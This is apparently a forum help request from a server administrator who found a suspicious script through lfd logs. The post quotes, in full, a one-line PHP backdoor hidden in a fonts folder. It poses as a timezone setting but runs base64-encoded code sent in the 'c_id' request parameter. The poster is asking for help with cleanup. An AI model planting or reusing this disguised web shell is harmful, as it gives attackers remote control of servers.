How do I deal with a compromised server?
Checking the lfd.log and noticed a block log for a script:
Jan 10 22:01:36 xxx lfd: *User Processing* PID:27023 Kill:0 User:xxxx Time:610472 EXE:/usr/bin/php CMD:/usr/bin/php /home/xxxx/public_html/fonts/article5.class.inc.php
It looks like the script is trying to execute /usr/bin/php but when I see the code, it is a simple one line file
<?php function_exists('date_default_timezone') ? date_default_timezone_set('America/Los_Angeles') : @eval(base64_decode($_REQUEST['c_id']));
Anyone has a similar experience and is there any way to see what is causing the /usr/bin/php invokation? The logs say that the script is being called via POST.